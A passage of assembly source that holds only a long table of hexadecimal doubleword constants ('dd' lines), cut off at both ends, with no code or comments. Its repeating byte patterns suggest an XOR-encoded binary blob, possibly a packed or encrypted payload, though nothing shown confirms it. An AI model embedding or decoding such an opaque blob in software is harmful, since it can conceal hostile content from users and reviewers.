6E4E56FBh, 14166542h, 0B5D01DE2h dd 5DB13CD4h, 0AEB8DB56h, 0E2DB3256h, 12CCE38Ch, 3C17E222h dd 154ECCD5h, 75B13FBFh, 6897B456h, 55253FB1h, 41EB52FDh dd 5A58EDE6h, 0EBB13256h, 70958944h, 95260F68h, 0C65E8116h dd 3EBEFD6Dh, 5DB13262h, 0AEB13CBFh, 778C8356h, 0DC5F3103h dd 47FAFFD4h, 8ABBFA25h, 75B7DBA3h, 355B3256h, 0A17E1871h dd 0CB0CBB37h, 58B6D643h, 0ABB133D9h, 0C858C756h, 124ECDA8h dd 75A0DB37h, 83A93256h, 5D1B5BDEh, 592E62DAh, 1B7DD11Ch dd 6896A503h, 0A553B236h, 0FB2AF0D7h, 15D03025h, 0BAB123BFh dd 0CE5EA156h, 365C2FF6h, 0BABD4F74h, 65832BE7h, 56BEC1D3h dd 0EAB13241h, 75A0B659h, 0B6583256h, 0C8B13256h, 8BFB5B3Eh dd 0E5C16FC4h, 437650DBh, 0D5B13256h, 735BB30Ch, 7AB6D89Dh dd 0BAB133D1h, 0B4D1CA56h, 0AEB1325Eh, 0FC73D4h, 3B4735F0h dd 0B5D047E5h, 6BD7E8DDh, 141FE6B9h, 15A988DDh, 555835BCh dd 55B13256h, 400152Ah, 42341833h, 0D5B1325Ah, 0ED79F43Ch dd 31DC9AEEh, 0FE2E553Dh, 5DB032EFh, 0A1343D56h, 0BEB13256h dd 0ABB1325Ch, 64678982h, 7FB755FAh, 0B58263E7h, 0BAB0BE59h dd 0AE493256h, 220252FDh, 57B3B659h, 0F1E13256h, 0DD3D3D37h dd 0E5B13256h, 75B130DBh, 31D05256h, 0B71E2AD4h, 2C38CE51h dd 505B9D78h, 0ABB0B659h, 0B4493256h, 0E5725336h, 75B139D6h dd 5BE5256h, 0A567B3ACh, 0CFA7DBF2h, 43323D36h, 0CBB13256h dd 0D5BDDBAAh, 3EB93256h, 0BE1C64EAh, 0DEC887D5h, 0B5D0D05Dh dd 0AEB13256h, 3A5BB30Ch, 42B6D89Ah, 0D5B13242h, 72BCF1EAh dd 0D8F8C314h, 0FD95BF62h, 0B0ABAD2Bh, 8E2A78C9h, 0B963B336h dd 0CDE0B1B3h, 0B48F52EDh, 0C69CB790h, 7AE735B2h, 0BAB133D9h dd 64D9CA56h, 0CE652D3Bh, 0D3BEC736h, 0ABB13256h, 0D73C3D37h dd 0BBB13256h, 0C04E530Fh, 0BD551317h, 5DB8DA36h, 7FA23256h dd 0BF395042h, 0A480E2E3h, 64EAE5E9h, 6F3C5361h, 725682F1h dd 423A5436h, 5DB13CBFh, 7CB26B56h, 824847B4h, 0B132C875h dd 0B4B5B21Fh, 0B848E2A9h, 675862AEh, 0ABB13256h, 0AEE028ADh dd 6A3FD9D1h, 536766DAh, 0D57DA795h, 55B15AA8h, 80483256h dd 743B3D56h, 43B13256h, 0F1BB80A9h, 514835BCh, 37485286h dd 0CAEF64AAh, 0DA586A37h, 69B13256h, 6D87E79Ch, 0EE3B6365h dd 587804B2h, 0A1EB5695h, 57B121D9h, 0ABBFDB56h, 0F0163256h dd 9C2A02BBh, 0D545BA68h, 0E4BCD3E2h, 5D31323Eh, 0AF3F3D56h dd 0A2B13256h, 0A4D1323Ch, 6ABEC8E1h, 6BD153A4h, 9C25AD8Dh dd 70063D67h, 4503CD37h, 0A1B6D8F9h, 57B121D3h, 0ABBFDB56h dd 0FF533256h, 2BA9762Ah, 30F53582h, 4DB30D2Eh, 0D8BEE2A9h dd 0AEB13257h, 5A5853AAh, 6CB13256h, 0A1FDEF89h, 2E9BA893h dd 0D7076C3Eh, 30BEC795h, 5DB1325Ch, 7C305436h, 0E0BECC4Ch dd 53E45391h, 3C5DB9AEh, 0EAB1325Ch, 883DC9A5h, 2B3A60CEh dd 3DD14FEDh, 477E8D59h, 57B13246h, 0D5C2FA64h, 0B48B5D0Dh dd 1F353C9Fh, 0A934D3EAh, 0BAB1DA37h, 0DCEB3256h, 447F35BCh dd 57A3DB51h, 984F3256h, 8A99FE29h, 73CADF0h, 0B0E0469Eh dd 0E137D583h, 6E75236h, 0CFD082E6h, 57B122BFh, 0DC763256h dd 0A6012163h, 81D0FE30h, 11430BD4h, 0B2C4B95Ch, 5DA6B059h dd 0BC583256h, 8EB13256h, 546510Fh, 2A63DC72h, 92BA9874h dd 0EF0E5043h, 0AB0852EAh, 3DE74F54h, 0AEB1BF59h, 0A6303256h dd 0E31AE87Dh, 34595337h, 1FB13258h, 75B8DB03h, 2B1C3256h dd 0DF1B1113h, 51BB7114h, 0BD1D88C4h, 1CBE5251h, 8A0665A8h dd 0E5EC5308h, 75B133D3h, 0CF8AC756h, 96343D5Ah, 0A14ECDA9h dd 57B126DEh, 0A6585256h, 4CB13256h, 9C563763h, 0D658C3B4h dd 196DD88Ah, 5323DA37h, 0CF4D3256h, 57B139BFh, 0B0590C56h dd 4FA3CB0Eh, 64CDA6C7h, 75B9B859h, 3BBE3256h, 5DB13254h dd 0A1785336h, 57B133DAh dd 0A373CB56h, 0CC3F3D56h, 3B13256h, 75B13242h, 296A21D0h dd 4DDFE2BAh, 3A6B8490h, 0A5C4C7F9h, 64E6DE3Eh, 393AC703h dd 0EAA9B759h, 0F1BE3256h, 0BAB13244h, 5DB13FBFh, 9A3FA956h dd 3235CC02h, 6E554B63h, 564D035Ch, 8CD1CE92h, 25527DE9h dd 0BAB13ABFh, 99F16856h, 2C121598h, 1D06C17h, 0AF373D36h dd 0B3B13256h, 8CE473EDh, 3111DDD7h, 3DBE6537h, 5DB13251h dd 0AEB0BA59h, 4483256h, 0ABB6B359h, 5CBE3256h, 0EAB13257h dd 75B1DAAEh, 3BEB3256h, 0B77EB1BCh, 0A4595251h, 3FB13256h dd 99017E0Fh, 6FD78BC9h, 0EABEDBC6h, 41A73256h, 9834756Ah dd 504225FEh, 8EB4A69Eh, 525868DBh, 0F0B13256h, 0CFAC551Fh dd 0FB3B3D37h, 7AB13256h, 0BAB139D9h, 5DB7DB56h, 73373256h dd 0F0D13C7Bh, 42B947DDh, 0D5B13244h, 0AFE7D622h, 0AD3F85F4h dd 0D60D58F3h, 161988Fh, 0D33A7F81h, 0BEE6C746h, 0ABB13251h dd 487AB545h, 0E5DC0BF1h, 75B133D1h, 53E7C756h, 5DB13242h dd 5A53F990h, 1199AF84h, 97020D39h, 0C54EA282h, 0EE88AE97h dd 7477DAAFh, 0DCD13256h, 529849EDh, 0AEB131D8h, 8A6FB256h dd 0A4713937h, 0D5B03DD2h, 0EAA2DB56h, 85A73256h, 0CBC160F1h dd 0B3F1F0Bh, 0FD345CE9h, 61039AFh, 0A1343DBEh, 0B5B13256h dd 0FA5EF0D7h, 2AE14700h, 0DA49B937h, 0B5D7F0D6h, 0AEB13245h dd 0AC8BBBEBh, 0CD244F83h, 8154F018h, 851651DFh, 23E49C00h dd 0EFD06B0Ch, 5DB137BFh, 0F2B33056h, 0C54E3DFFh, 0AC5B9EECh dd 0D5B13DBFh, 0C53B2856h, 9620118Ch, 28C7650Bh, 2D456AE6h dd 0AEB9DB0Bh, 3C233256h, 0DAEEDB73h, 0A08AF044h, 63353D5Ah dd 9CB13256h, 0BAB13250h, 72AEFD35h, 25D75B0Fh, 57BFDB48h dd 6E0A3256h, 61DDBB31h, 0AF60400Bh, 0D71BF135h, 0BAB13BBFh dd 9547FD56h, 65AA7B81h, 0B0311A37h, 0DE0F52A6h, 0B58C9490h dd 0EAB1B059h, 0AA303256h, 0FEB7777Dh, 433B5337h, 4D31CBA3h dd 46323DA6h, 42B13256h, 0D5B1325Ah, 6EDE5B3h, 0AE0B011Dh dd 0EAC88B0Eh, 5D92B4BEh, 1158CA56h, 0BE4ECDA8h, 0ABB13242h dd 0B14C3217h, 879DEA19h, 0FBF6ADB6h, 8A3337Eh, 30F3CE31h dd 0A14D4FDFh, 57B13EDFh, 0AD313D56h, 0DAB13256h, 0EAB132D7h dd 8072DA56h, 3D1CDA9h, 115F41A6h, 0FF51B330h, 0BEEA537Dh dd 0ABB1325Dh, 491B0F75h, 306DC18Eh, 2A220184h, 0BAB126BFh dd 63DF6456h, 5356F066h, 1FDFEA67h, 4C6A05BAh, 500EA12Ah dd 3446C3Ch, 75B13250h, 0EECE39A9h, 183A264Dh, 0A63E3DAAh dd 58B13256h, 0ABB130D1h, 1CD05256h, 0EAA5B959h, 7A583256h dd 34B13256h, 3EA3EA43h, 0AF280E30h, 0F1FD1547h, 0A7733DE8h dd 0D3585256h, 0A5B13256h, 0F143ABA9h, 2D7648Fh, 3CEF9267h dd 0AEA0DB03h, 8DF93256h, 4DA35FA0h, 76EBEE25h, 0B0B09291h dd 0FE529100h, 0B2383DBAh, 3DB13256h, 2E0EE0D6h, 0D4D0B7A6h dd 0B858CA92h, 0A6B13256h, 71BC7EF2h, 0B87BB92Bh, 0D20A9455h dd 0E3333C49h, 47E6BFE5h, 57B13246h, 596679E6h, 3F00DE54h dd 323D3A09h, 51E47155h, 53E0C700h, 5DB13242h, 8BB2C8F5h dd 0FB4CCA27h, 7C4C7765h, 0F6CB82F2h, 5A9FEAA7h, 75B9DB05h dd 45C3256h, 444D952h, 0EB765841h, 57B132AEh, 79075256h dd 302B8B30h, 9933F537h, 74B6D8F8h, 46B13256h, 52B947DDh dd 0AEB125D6h, 57A3DB56h, 9CF43256h, 38D6AB6Ch, 46A1063Ch dd 0E3A82FE2h, 0B0A1D059h, 0A4AFB930h, 2BB88DDh, 0D4BE35BCh dd 0ABB1324Fh, 0D5A2B559h, 0E4583256h, 7DB13256h, 0EB9F2930h dd 64841769h, 0BE458A95h, 5FEEB9BAh, 0ABB134BFh, 8D700656h dd 0E109E339h, 0F0353D8Dh, 53B13256h, 5DB13242h, 0FABA14B7h dd 0DFC6F651h, 3C6871B1h, 0BFA0286Dh, 325E00B6h, 75A5B859h dd 0B5583256h, 30B13256h, 4C97A4D8h, 0C6CD9F17h, 6BD71D50h dd 0B8AA774h, 0EAA6B759h, 73583256h, 1BB13256h, 0D95309A9h dd 0A2ECB91Fh, 5BEEBBAFh, 583A5436h, 0C176B137h, 0EA383D36h dd 9CB13256h, 0BAB1325Ah, 0CCDEAAC6h, 0FB224041h, 714836E2h dd 54C6DB37h, 6CD1CDA9h, 9727F586h, 75B137BEh, 0B934AC56h dd 3CEA8D08h, 0CEAFB930h, 57B13ABFh, 7803D456h, 0EFA71A5Bh dd 343A5424h, 7B595237h, 1BB13256h, 0EFE6CBD1h, 8FD69F2Ch dd 0AD7A0CDDh, 643A54CDh, 0D6303D0Dh, 0E5B13256h, 0F5D0EBE1h dd 3EBEDAADh, 5DB13126h, 0AEB9BC59h, 0DDBE3256h, 0ABB13254h dd 2E315336h, 0B3353DBFh, 15B13255h, 514AB237h, 5EFFB659h dd 0FED13256h, 31EF5336h, 0D044F5D7h, 374AB237h, 0E996B659h dd 7E583256h, 4B13256h, 0F57A66B9h, 3F2930F0h, 0AC31775Ch dd 58353DB5h, 0B5B13254h, 10BDAD7h, 0BD310AA7h, 0DC4D539Ch dd 0BED6C9D7h, 0AC46B659h, 0BE443256h, 0ABB1325Ah, 0AC9FA10Bh dd 280B9A39h, 895A5F4Fh, 0DA41D5D6h, 5DB3B159h, 0CFD13256h dd 0AC305437h, 2FBEB259h, 0D5B130B6h, 8CEB6036h, 14BF73E8h dd 4241D1D6h, 52C1C9D6h, 0AEB3F9D2h, 57BCDB56h, 95C23256h dd 1EE7C035h, 0EED9E884h, 1391DA3Bh, 0AB582CDDh, 1BB13256h dd 0B71A2DBDh, 86DF6172h, 0C08B2B7Fh, 0B146DB1Bh, 0E549D1D6h dd 75B13EDFh, 3DBE5256h, 5DB13256h, 65D58C30h, 97305237h dd 0B8F7B82Ch, 0B410C0D6h, 0E509C9D6h, 75B0B6D2h, 0A23C3D56h dd 0B4B13256h, 0AEB13245h, 34AA1301h, 0E4CA50EFh, 0C574785Fh dd 0BB4FD941h, 0F54B9AF9h, 3EBE3768h, 5DB1330Bh, 0AEBEB859h dd 5D583256h, 0EB13256h, 0CB66A553h, 4E348B9Ah, 588FB2F8h dd 0BB8EB659h, 0D4BE3256h, 0AEB13257h, 3F8FB2AAh, 0AA9EB659h dd 50BE3256h, 0EAB13251h, 75B0B959h, 0B5493256h, 5DB135D6h dd 0CFD15256h, 3643B930h, 5C2B0A9h, 0DAD135BCh, 3E7E1E1h dd 75B1325Fh, 3A8A2795h, 45115A50h, 0C8D0683Bh, 46582CDDh dd 26B13256h, 0A1196BEAh, 569DAB27h, 0B54F4A18h, 7A48741Ch dd 0A449D5D6h, 553054AAh, 0D3BEDAD7h, 0ABB13287h, 3CD0C736h dd 0EAB13246h, 6F66F128h, 94850A63h, 0E23B3882h, 87B5D664h dd 58AFB930h, 0ABB13ADEh, 0D73D3D56h, 8AB13256h, 8556B237h dd 78305436h, 52D0E1D9h, 0AEB138D5h, 0D9BE5256h, 0ABB13256h dd 0B3D0C5DDh, 2A30C9D7h, 7532B659h, 0BF583256h, 0A4B13256h dd 0CEAF519Ch, 37E4CB36h, 4B7D8D30h, 474E53AFh, 0ED5B9EECh dd 75B8DB36h, 0E7EA3256h, 1261A189h, 0A1A470C2h, 57B134D9h dd 0AB3E3D56h, 0B4B13256h, 0FF05520Bh, 0C970E0D7h, 33D057A3h dd 0D4BECE13h, 0AEB1325Eh, 57B3BD59h, 0CAD13256h, 0DF363D37h dd 3B13256h, 75B13253h, 6F1FE4B8h, 0A1CCB164h, 4F343D57h dd 0BEB13257h, 0ABB13247h, 0C9EB75ADh, 0FB2FB66Fh, 9B598970h dd 0E9E04818h, 500BB9D3h, 5BB6D665h, 0D53ACE06h, 0AC5B9C25h dd 0D5B120BFh, 0C7F59D56h, 0B71E3919h, 40C2B6EAh, 0D9642225h dd 9764BC7Ch, 0F44026Ah, 0AA2BB059h, 0C7583256h, 0CDB13256h dd 0B34DF93Eh, 0A0497AACh, 8913E2E6h, 48D8FE38h, 860BB98Eh dd 0A4B6D64Fh, 0D5B13AD6h, 0D7055256h, 0E9AD8830h, 39BE6237h dd 5DB1324Fh, 0AEB126BFh, 4BBADC56h, 246F076Eh, 0F40A979Dh dd 9A0261C1h, 103339Eh, 0C933B905h, 52B6D8F8h, 0AEB137D8h dd 0E8BE5256h, 97885385h, 0D5B7DB66h, 43363256h, 0B0691C26h dd 933E3D0Eh, 52B13257h, 0AEB125DAh, 463C3D56h, 42B13256h dd 0D5B1325Ah, 17F02020h, 89294ADh, 3AE96E95h, 5DB11DBFh dd 0EB76CE56h, 57B130AEh dd 560E5256h, 0DAA00981h, 0EAB133D1h, 9CD0C756h, 0BAB13242h dd 0A5F4F5AFh, 0AEB13257h, 57B135BFh, 9B7F8556h, 74FB7FE4h dd 46BB88DDh, 0FE4935BCh, 15005249h, 5DB0B559h, 0CF483256h dd 0D3BEE95Dh, 0ABB132EAh, 0D5B138BFh, 5F9E9956h, 9492D85Bh dd 81D609F4h, 3C343D88h, 0A1B13256h, 57B133DFh, 0F63ACE56h dd 0D5BDDB5Ah, 68C73256h, 5A180E40h, 35A00BD5h, 0D0BEE332h dd 0AEB13240h, 57B123BFh, 31B64856h, 761B38A2h, 0A67EC881h dd 4BE78D98h, 0C73229BEh, 0D9BE32AEh, 0AEB13253h, 0AFEC31AAh dd 0AFEEBBA3h, 0D5A3B859h, 0E7583256h, 40B13256h, 9ACC9CD8h dd 9EEE99C3h, 40638590h, 58A5F5D5h, 0ABB135D0h, 0B4D15256h dd 8B73B930h, 8A4E6CBFh, 0BABFDBA9h, 11C73256h, 0C1C9A711h dd 0DDF97EA7h, 2B5FD0A3h, 0D258F265h, 0CCB13256h, 790792F0h dd 5349A8CAh, 5DB13609h, 0AF393DA3h, 0AEB13256h, 0A4AFB930h dd 0D5B13FD3h, 6BD75256h, 7A7ADF8Fh, 0BAB132D8h, 203A5356h dd 0B83B3D5Ah, 0BEB13256h, 0ABB13247h, 0A476681Eh, 0DC85723Ch dd 75414B4Fh, 126A98C4h, 0B64AB240h, 0AEFFB659h, 0BED13256h dd 0ABB13246h, 3DDB9B47h, 67ED74D1h, 0D1A01E8Ah, 267AFA6Ch dd 5DB13FBFh, 734D6A56h, 13D45FCDh, 0FFB2E975h, 55D05529h dd 60D1C2B5h, 953054B4h, 3AD0A202h, 0D9BE42ADh, 0AEB13227h dd 57B137BFh, 0A39F1256h, 0C658C2E3h, 13B13257h, 7A583590h dd 0BAB133DFh, 1A76C756h, 0AEB13257h, 46595256h, 7DB13256h dd 743AF0FAh, 1A5E2887h, 0D26513B0h, 78EBE750h, 1E52B330h dd 4631683Fh, 903A5383h, 0ABBFDB36h, 0C32E3256h, 3FA68821h dd 0B82F3A27h, 1F1272D9h, 0DED0F1DDh, 24D13796h, 54323DBEh dd 0A4B13256h, 3CD0E8E1h, 0EAB1313Dh, 727654AFh, 31D13A59h dd 8B3A548Fh, 0B03BCA37h, 57BDBC59h, 12D13256h, 0F812AD70h dd 7571B330h, 9631539Dh, 0B2303D59h, 3DB13256h, 0A14FB930h dd 0D7D0C0E9h, 2CBEB29Dh, 0D5B13242h, 0EAB13DBFh, 960B9956h dd 4C0FFD2Ah, 6E624A3Fh, 0BDCA6474h, 0BEB06DDEh, 0ABB13259h dd 0D97E88A9h, 0F7407CF1h, 0A5FEFEE2h, 7D61B69Dh, 5DB13011h dd 2DBE3256h, 57B13257h, 0CB76B9AAh, 57BEEBDDh, 0EAB13247h dd 75B139BEh, 0C470D056h, 140651CFh, 5C6AF66Dh, 9732530Fh dd 0AC353D50h, 0DAB13256h, 0EAB133DAh, 0FED1CE56h, 0A151B3A4h dd 3CD9113Eh, 0AEB388BFh, 0D6D7CE56h, 0A421A268h, 0D5B150D2h dd 6BD75256h, 7A92BBA5h, 0BAB126D5h, 5DBFDA56h, 0DBEF3256h dd 42F4E9DBh, 0E08AA47Bh, 75AAA226h, 6A49530Ch, 0F0BEA268h dd 0BAB13218h, 5DB126BFh, 0FF400856h, 0C205764Eh, 0E594CC01h dd 9BCE9791h, 0F865046Fh, 0B3054B1h, 0B521A2A9h, 5DB120D2h dd 0EF095256h, 31F99D4Ch, 4FC7D2D7h, 0D5A9DB37h, 61493256h dd 9C44CA91h, 0BAB13015h, 5DB13BBFh, 6D971B56h, 96C3DFA9h dd 293C17B8h, 0D25B9D14h, 0EAB0BD59h, 9C4D3256h, 0BAB13251h dd 3F4438F7h, 0FE39FC89h, 0A84964AAh, 411DDFC4h, 0D5A3DB51h dd 5A593256h, 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h dd 0D3BEF25Dh, 0ABB13269h, 0D5B135BFh, 96D4A756h, 669D443Fh dd 31D1FADDh, 0A70E3D8Ch, 0EC03BF37h, 37B6D8F9h, 7B40B330h dd 35EB35Ch, 8BA1B727h, 75B18BBFh, 0B63A3D56h, 52B13256h dd 0AEB134D2h, 57393D56h, 0FDB13256h, 0D5B6B859h, 8AD13256h dd 0BB3A5437h, 537FB937h, 5DB13247h, 0E6B7FCh, 0C634012h dd 0F7E79F15h, 8C323DEBh, 8CD15233h, 23B0EDD7h, 54CCF1D7h dd 0E3D025FEh, 0E336C477h, 31D16737h, 0B5DEFBD7h, 6F23CD37h dd 0E5B6D8FAh, 75B13AD8h, 0B8363D56h, 3DB13256h, 85446F37h dd 0D9BE5298h, 0ABB13250h, 0D5B1BC59h, 64BE3256h, 75B13257h dd 634653AEh, 5DB8B559h, 25D13256h, 9C305498h, 42D0CB40h dd 0D5B13251h, 3A6005E4h, 2BA1040Bh, 0BAB6DB36h, 0A1A73256h dd 0A05F9A35h, 57B6DBB5h, 122E3256h, 30218830h, 9732536Ch dd 0F0BE33AEh, 0BAB1320Dh, 52F882AFh, 0AEB124DCh, 57A0DB56h dd 0E2433256h, 0FB64807Eh, 494ECFDh, 9D6B6097h, 10A8DB81h dd 5DB0B959h, 0C8493256h, 0BE343DEEh, 0ABB13258h, 0D36B4A3Ch dd 644C6034h, 0DF0D5B0h, 11D7DF2Dh, 5DB9B959h, 25D13256h dd 4C0B54A7h, 1DBE5383h, 7E443310h, 0EA33DBAAh, 0F6443256h dd 0B5B3CA2Bh, 5DB146D3h, 16D7CA56h, 5058FB5Dh, 0ACB13256h dd 0E56AE0A4h, 41D748AFh, 75B134BFh, 9E525056h, 3BCF1F9Bh dd 57353DEEh, 0DCD19930h, 0ABA1DAACh, 0E7DB3256h, 0C36591B7h dd 87B997D0h, 8C6B3ACBh, 3CD14761h, 18BE530Eh, 0FC483310h dd 0ABB13FBFh, 0B9B6DE56h, 0F6ED952Ch, 438B0CDh, 0AA58AEC2h dd 0DAB13256h, 3EE00B15h, 353847A4h, 0C1ED673Dh, 3C58EB5Bh dd 0EAB13252h, 8C15C1A3h, 3BD1F5DDh, 0C62D1991h, 0CF76B84Ch dd 57BFDB36h, 166B3256h, 7AC8DC7Bh, 53812956h, 503E6AB7h dd 935E2D7h, 6D0150Fh, 4777B836h, 57B1325Dh, 3E06FDBDh dd 92400ABEh, 8BE24D76h, 74333D0Fh, 42B13256h, 0B4D1CB08h dd 0AEB1325Bh, 0CE199659h, 49CDFA33h, 5F0D3AB9h, 0E0585287h dd 73B13256h, 0CDBB696Dh, 9C6B77A8h, 0F1D053D0h, 5D58FBAAh dd 0D4B13256h, 0C9B6EEF8h, 0BE2CD402h, 75B9F0B7h, 314867AEh dd 5DB7DBBAh, 23F83256h, 0FA497331h, 0ABA3DB36h, 3FEB3256h dd 0F196049Ch, 958331AFh, 3E87DB3Ch, 68A3F00Bh, 0AEB132BEh dd 0BD306856h, 0AC5BEE98h, 0D5B123BFh, 0D963E856h, 74DD96C5h dd 9F5B8538h, 0EE30BB24h, 25448F88h, 0DEBE3A13h, 0ABB1325Dh dd 0A063D36h, 0EAB1BC59h, 0FCD03256h, 501D7DD4h, 5DBBDB51h dd 7F0A3256h, 714BAE3Ah, 94EFB1C8h, 223B5237h, 0EAB4B559h dd 0F4D73256h, 0DB2C6690h, 4959529Fh, 0E0B13256h, 73B3480Fh dd 0B36CE194h, 38A31856h, 98546A71h, 7A359A1Fh, 0BAB132D8h dd 0D6D76D56h, 0AA73539Dh, 57B8DB56h, 2C473256h, 7D7CD3A2h dd 1371997Eh, 993ACE03h, 4275B1A3h, 5DBBB859h, 2ED13256h dd 0D6D74887h, 0CA83E995h, 0C1595236h, 7BB13256h, 45D0B1C1h dd 4E989099h, 0A35D7345h, 0A45DBFBAh, 0DCA52704h, 42D16DACh dd 0D5B13247h, 0EFDDDA0Fh, 9F4057DEh, 4121A249h, 8A821Dh dd 0AE373D29h, 36B13256h, 0ABB1DA37h, 54EB3256h, 6C85BCh dd 75A2DB51h, 0F2E53256h, 0D809E854h, 5ECC4CEBh, 0DF174C92h dd 807B831Ah, 0C55852C2h, 97B13256h, 0F6C5D01Dh, 8B148BFAh dd 0AFF61146h, 0A16F3744h, 57B126DDh, 0ABBFDA56h, 0C07E3256h dd 6B6BB7B9h, 1838C448h, 8246AFCDh, 5249530Eh, 0AEB13AD8h dd 553C3D56h, 0CBB13256h, 2DF4F537h, 0EAB13256h, 75A2BC59h dd 34BE3256h, 5DB1325Bh, 0AEB13ABFh, 5DD73B56h, 0C0C36DC2h dd 5ED15213h, 0EF5953ACh, 0E4B13256h, 0C915CA84h, 18765308h dd 0AEB132AAh, 9782CB56h, 0ABA0BC59h, 0D9583256h, 3DB13256h dd 0FD1DF6F8h, 0AC2D5AD4h, 3B357B30h, 47D12CDDh, 57B1325Eh dd 9B8D1D2Ah, 15AB5A46h, 2ED424EFh, 0F7765307h, 0BD5B9C25h dd 5DB13257h, 0AEA8B359h, 43583256h, 0C3B13256h, 0B581DEA5h dd 0C5C19FFh, 0F5BE9692h, 12AC8FDCh, 3B83D74Eh, 3E21C9D7h dd 57BDB759h, 0AC583256h, 68B13256h, 0E3B68D53h, 8E31A6A4h dd 47353DBEh, 0A4B13255h, 0AEA2DB16h, 0E6E63256h, 585B0FB5h dd 0C8682B80h, 8918DA3Ah, 81A829D1h, 0BD383DD5h, 52B13256h dd 0AEB133D5h, 0AC31CB56h dd 66353DBFh, 2CB13255h, 0EABEDB16h, 29D3256h, 1C1C2156h dd 632EB3EBh, 16ED11A1h, 0BC4AB2F1h, 0A81FB659h, 95493256h dd 0EA9DB159h, 9DD13256h, 0BAB13245h, 0DA1ACFA7h, 0F7572AC5h dd 20990674h, 0CBA3DD5Ah, 8F0E072Dh, 0EAB139BEh, 92631456h dd 11B9A65Bh, 0ED5E6836h, 49315309h, 5258CBA6h, 0ECB13256h dd 0A9B2B18Fh, 0E54AB330h, 14353DD6h, 0DAB13255h, 3C7B8D59h dd 0B11CB055h, 58D135B2h, 7930E0E1h, 0AE2DE795h, 62BE7237h dd 75B13258h, 0A251B336h, 52CAFD22h, 0AEB132DEh, 0AC315356h dd 0B1353DB4h, 0B5B13255h, 0F388B9EDh, 1456B83Dh, 0B552C9D6h dd 5DB3E6D2h, 2FD7CB56h, 585255ADh, 0ABB3CED2h, 0D0353D56h dd 8AB13256h, 1449B930h, 5341D1D6h, 5DB13244h, 9F2AF31Fh dd 0E59540D8h, 0E69B8F4Fh, 40A86864h, 61D1300Ch, 8E3153A4h dd 67353D26h, 0B4B13254h, 0AEB13253h, 63C857D6h, 0ABB4DBAFh dd 0F9583256h, 8C9F337Ah, 7AD12CDDh, 0BAB131D6h, 5C71B256h dd 0AEB2B259h, 0A7313256h, 483153ECh, 2E31CBAEh, 0A7353DEEh dd 8DB13257h, 0BAA9BF59h, 0D0BE3256h, 0AEB13244h, 57B13FBFh dd 0C827F756h, 71EDFD5Ch, 30B4E4F1h, 4B31FE57h, 9F353D53h dd 0A1B13257h, 0A19C0CD6h, 57B029D2h, 0AA343D56h, 2CB13256h dd 0E5D90CD6h, 75B039D2h, 3BD75256h, 0D624A98Fh, 0CEF15381h dd 0C60B5436h, 6A3A5491h, 574E5337h, 0ED5B9C25h, 75B123BFh dd 0F0266056h, 4B214755h, 542BC764h, 0FBB281E2h, 20D7C66Fh dd 0D5B8DB48h, 75F03256h, 32588FA8h, 3AB388BEh, 3CD1CAB1h dd 2F4AB330h, 0EE353DBEh, 0A4B13256h, 0D5B13DD1h, 0EABBDB56h dd 642C3256h, 567F09FDh, 0FDCA7F6Bh, 47AFB930h, 57B13244h dd 0CE06AD46h, 0C5EE7010h, 2AE17537h, 1023AF3Ah, 5D31B725h dd 0DCD752A6h, 0CF39889Dh, 0D64AB330h, 0DE353D96h, 3CB13256h dd 0EAB13246h, 46568A4Ah, 12929140h, 697345F8h, 2EEDF95Eh dd 0BEE4C736h, 0ABB13245h, 0F66D5813h, 2118F2E5h, 0A7B630F9h dd 1BF0BC88h, 0A234F979h, 441D88C4h, 803A5251h, 0F0CAF1D7h dd 88D042ACh, 16F4BBAFh, 15D05336h, 7840B330h, 203253A1h dd 2BBE33AAh, 57B137E4h, 0ABBEDB36h, 74763256h, 63455DE3h dd 8F4BFA95h, 0C9068F42h, 0E5D76309h, 0CFE91DD4h, 64BC88DDh dd 21BE35B2h, 0D5B13257h, 62BE62AEh, 75B1325Eh, 296FB336h dd 3CF00632h, 0C2B0DDh, 0D6D135BCh, 5E8DCFA4h, 0D5BBDA08h dd 1A5C3256h, 0A56E9682h, 25B5D0EDh, 3CEFF8DDh, 52810E6Fh dd 18333D0Eh, 53B13253h, 0CC6088DDh, 0BA4935B2h, 75B123BFh dd 938FCB56h, 0C422C48Eh, 0C48124F8h, 9CEF05CFh, 293AA58Ch dd 0D25B9C25h, 33095436h, 3C52B3EEh, 0DBE03BE4h, 52810E6Fh dd 0AEB133D5h, 0F49CE56h, 0AEBDBD59h, 0D3583256h, 10B13256h dd 8C8EC74Fh, 3ACA89h, 5A5B9E4Ch, 0B433B1AEh, 43B6D8FAh dd 44F38B36h, 62BE53D0h, 0DD38538Ch, 75B6BB59h, 35BE3256h dd 5DB13257h, 0BEF6BBAFh, 57B13EBFh, 0D7A92B56h, 0E8D84784h dd 0E2D8D47Eh, 705862B0h, 36B13256h, 0D8C0FA96h, 0C2B0DDh dd 0DC4835BCh, 0F349024Ah, 0D5BDB459h, 0ED583256h, 3BB13256h dd 5EC37C80h, 2387212h, 3D58CA5Eh, 58B13252h, 0ABB13AD0h dd 8BE25256h, 0DD808D30h, 8DF4F537h, 0BAB13254h, 5DB13CBFh dd 0CA58BA56h, 0D07974EDh, 8181A30h, 3C95224Ah, 0EAB1327Eh dd 75BEB759h, 0B0583256h, 42B13256h, 77481313h, 0FD9558EBh dd 53F4F52Bh, 0D5B13257h, 0EAB134BFh, 0B4AE9356h, 46645547h dd 0F1AB88DDh, 2D4435BCh, 0BD1D28D4h, 23BE2651h, 0D5B13249h dd 0EAA8B659h, 61583256h, 0CDB13256h, 97B8FD2Bh, 0AA0FDFC5h dd 40E8C7BDh, 1CE7843Ch, 5C669AB4h, 8C495261h, 0F694C3D7h dd 0AAF6BB37h, 5E49B1AEh, 0AE8DB759h, 37443256h, 0ABA1BF59h dd 0DE583256h, 0E2B13256h, 0C22E4CBh, 8CB784CCh, 990B409Dh dd 0CF9A087Eh, 0F9C2B091h, 0ABB335BCh, 3C493256h, 0EAB13274h dd 75B0B759h, 0B5483256h, 5DB133D8h, 5632CE56h, 4C3C3D54h dd 0CBB13254h, 2CD3F4D7h, 283142B7h, 8325371h, 3EBE32AEh dd 5DB132FAh, 0E8073DAFh, 56383D57h, 52B13256h, 0D5319BAAh dd 6FBE3256h, 75B13201h, 0BAB138BFh, 0E9868D56h, 7B543FE8h dd 176A0D51h, 0ABBBDA36h, 0B3A63256h, 0BF5D142Eh, 0F91829E1h dd 0BAB1B959h, 3BEA3256h, 0DE89FAD7h, 5259B137h, 0ABB6B759h dd 5ABE3256h, 0EAB13257h, 758FDBA3h, 0B5D13256h, 5DB13FDBh dd 